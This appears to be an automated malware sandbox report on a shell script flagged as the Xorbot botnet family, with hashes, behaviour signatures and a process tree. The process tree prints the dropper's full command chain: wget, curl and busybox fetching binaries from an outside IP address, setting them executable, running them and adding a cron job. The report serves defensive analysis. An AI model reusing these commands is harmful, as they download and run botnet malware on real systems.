Analysis
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max time kernel
149s -
max time network
153s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
03-12-2024 14:55
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
3b8b6765d7640335ac5904db51941316
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SHA1
41d3ed3e99d3c26185c182282f6210f3def75b91
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SHA256
56ffdc2679cf8715dddb3f56f52cf2b650f3ad220dc77610da0a897cc835a627
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SHA512
f24c1f8cd195a71f9392081b3aeaed8d32819c6bb4337ec57c5d0034abea6bfce3884757d5b212ce225d82033f08f16587ed8086452023ec9ce29ba1fe102f5b
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SSDEEP
192:nR57dzBtlmm8DL9v3/K+0mI/nkB/VmXjh8ML+Xjh8MLgVdR5dCdBtlmmUhv3/K+f:7dzBtlmm8DL0kBdmXjh8ML+Xjh8MLqr1
Malware Config
Signatures
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resource yara_rule behavioral1/files/fstream-3.dat family_xorbot behavioral1/files/fstream-7.dat family_xorbot behavioral1/files/fstream-9.dat family_xorbot behavioral1/files/fstream-11.dat family_xorbot -
Xorbot family
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Contacts a large (2008) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 6 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1522 chmod 1529 chmod 1536 chmod 1543 chmod 1501 chmod 1515 chmod -
Executes dropped EXE 6 IoCs
ioc pid Process /tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET 1502 ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET /tmp/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt 1516 Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt /tmp/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW 1523 q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW /tmp/NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV 1530 NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV /tmp/aBzn9hy00NYcqZtnuO4txifCFhqngFcYeV 1537 aBzn9hy00NYcqZtnuO4txifCFhqngFcYeV /tmp/qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS 1544 qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS -
Renames itself 1 IoCs
pid Process 1545 qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.dSAkVq crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/435/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/28/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1043/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1073/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1583/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1619/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1620/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1687/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1728/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/80/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1772/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1753/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1550/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1570/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1676/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1684/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1747/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1784/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/539/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/85/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/170/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/172/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/179/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1777/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/24/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1564/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1727/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1556/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1080/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1588/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1661/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1748/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1782/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1785/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/3/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/668/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1149/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1576/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1607/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1650/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1666/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1741/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/460/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1790/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/470/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1091/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1584/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1585/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1668/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1724/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/12/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1111/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1481/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1487/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1622/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1707/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1023/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1604/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/163/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/518/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1160/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1673/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1693/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS File opened for reading /proc/1718/cmdline qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS -
Writes file to tmp directory 18 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET curl File opened for modification /tmp/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW wget File opened for modification /tmp/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW busybox File opened for modification /tmp/qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS wget File opened for modification /tmp/aBzn9hy00NYcqZtnuO4txifCFhqngFcYeV wget File opened for modification /tmp/qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS busybox File opened for modification /tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET wget File opened for modification /tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET busybox File opened for modification /tmp/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt curl File opened for modification /tmp/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt busybox File opened for modification /tmp/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW curl File opened for modification /tmp/NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV busybox File opened for modification /tmp/NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV wget File opened for modification /tmp/aBzn9hy00NYcqZtnuO4txifCFhqngFcYeV busybox File opened for modification /tmp/qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS curl File opened for modification /tmp/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt wget File opened for modification /tmp/NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV curl File opened for modification /tmp/aBzn9hy00NYcqZtnuO4txifCFhqngFcYeV curl
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:1484
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/bin/rm/bin/rm bins.sh2⤵PID:1485
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/usr/bin/wgetwget http://216.126.231.240/bins/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET2⤵
- Writes file to tmp directory
PID:1486
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/usr/bin/curlcurl -O http://216.126.231.240/bins/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET2⤵
- Writes file to tmp directory
PID:1490
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET2⤵
- Writes file to tmp directory
PID:1500
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/bin/chmodchmod 777 ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET2⤵
- File and Directory Permissions Modification
PID:1501
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/tmp/ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET./ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET2⤵
- Executes dropped EXE
PID:1502
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/bin/rmrm ELaEZdhygdZsx9KSjeI8NLPA8wFzbOeeET2⤵PID:1504
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/usr/bin/wgetwget http://216.126.231.240/bins/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt2⤵
- Writes file to tmp directory
PID:1505
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/usr/bin/curlcurl -O http://216.126.231.240/bins/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt2⤵
- Writes file to tmp directory
PID:1513
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt2⤵
- Writes file to tmp directory
PID:1514
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/bin/chmodchmod 777 Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt2⤵
- File and Directory Permissions Modification
PID:1515
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/tmp/Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt./Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt2⤵
- Executes dropped EXE
PID:1516
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/bin/rmrm Ny2bOW86hFR7AmCp5Cv4eMmG42c473oXBt2⤵PID:1518
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/usr/bin/wgetwget http://216.126.231.240/bins/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW2⤵
- Writes file to tmp directory
PID:1519
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/usr/bin/curlcurl -O http://216.126.231.240/bins/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW2⤵
- Writes file to tmp directory
PID:1520
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW2⤵
- Writes file to tmp directory
PID:1521
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/bin/chmodchmod 777 q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW2⤵
- File and Directory Permissions Modification
PID:1522
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/tmp/q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW./q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW2⤵
- Executes dropped EXE
PID:1523
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/bin/rmrm q9bJVDO0tkTPA06ISet7pUUxUM6k8CRANW2⤵PID:1525
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/usr/bin/wgetwget http://216.126.231.240/bins/NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV2⤵
- Writes file to tmp directory
PID:1526
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/usr/bin/curlcurl -O http://216.126.231.240/bins/NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV2⤵
- Writes file to tmp directory
PID:1527
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV2⤵
- Writes file to tmp directory
PID:1528
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/bin/chmodchmod 777 NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV2⤵
- File and Directory Permissions Modification
PID:1529
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/tmp/NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV./NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV2⤵
- Executes dropped EXE
PID:1530
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/bin/rmrm NTiFBE8cSxzJqDW6E3XBPypDoghEeUWLhV2⤵PID:1532
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/usr/bin/wgetwget http://216.126.231.240/bins/aBzn9hy00NYcqZtnuO4txifCFhqngFcYeV2⤵
- Writes file to tmp directory
PID:1533
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/usr/bin/curlcurl -O http://216.126.231.240/bins/aBzn9hy00NYcqZtnuO4txifCFhqngFcYeV2⤵
- Writes file to tmp directory
PID:1534
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/aBzn9hy00NYcqZtnuO4txifCFhqngFcYeV2⤵
- Writes file to tmp directory
PID:1535
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/bin/chmodchmod 777 aBzn9hy00NYcqZtnuO4txifCFhqngFcYeV2⤵
- File and Directory Permissions Modification
PID:1536
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/tmp/aBzn9hy00NYcqZtnuO4txifCFhqngFcYeV./aBzn9hy00NYcqZtnuO4txifCFhqngFcYeV2⤵
- Executes dropped EXE
PID:1537
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/bin/rmrm aBzn9hy00NYcqZtnuO4txifCFhqngFcYeV2⤵PID:1539
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/usr/bin/wgetwget http://216.126.231.240/bins/qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS2⤵
- Writes file to tmp directory
PID:1540
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/usr/bin/curlcurl -O http://216.126.231.240/bins/qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS2⤵
- Writes file to tmp directory
PID:1541
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS2⤵
- Writes file to tmp directory
PID:1542
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/bin/chmodchmod 777 qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS2⤵
- File and Directory Permissions Modification
PID:1543
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/tmp/qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS./qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1544 -
/bin/shsh -c "crontab -l"3⤵PID:1546
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/usr/bin/crontabcrontab -l4⤵PID:1547
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/bin/shsh -c "crontab -"3⤵PID:1548
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1549
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/bin/rmrm qBxf2t0oC13s1K5mKGnaLONR6tZP3PQnDS2⤵PID:1551
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/usr/bin/wgetwget http://216.126.231.240/bins/xep6KQzWq5hMzg1AElrao9wxWgPYTGRw8l2⤵PID:1554
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
177KB
MD5786d75a158fe731feca3880f436082c0
SHA179ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA2565fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
SHA5127984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
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Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
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Filesize
122KB
MD5cd3d4b9c643e5b473fb4d88ed05f0716
SHA164ee7a97418583d759eaea8000890cc3bae1b5f4
SHA2560cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
SHA512164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
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Filesize
117KB
MD5849fa04ef88a8e8de32cb2e8538de5fe
SHA1c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA2568bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
SHA5122d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
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Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
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Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
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Filesize
210B
MD5547923bf064edf67d47e23de67b4020b
SHA1677f52bcc69b5f3619330d27dd0fd6382d1c6749
SHA256673d2d0a8c35159a321653d731af4ab040c26c5e3e6532dbd4cc2c315865e807
SHA512211fd6615dc71feff8d54983849eac08adee71263f07dee2f642caabadccced5bcd4abaf4a6fcaedd85c4eb7b0f81c673ca8e27c6a7d45b06a754ae2eb6c1bb3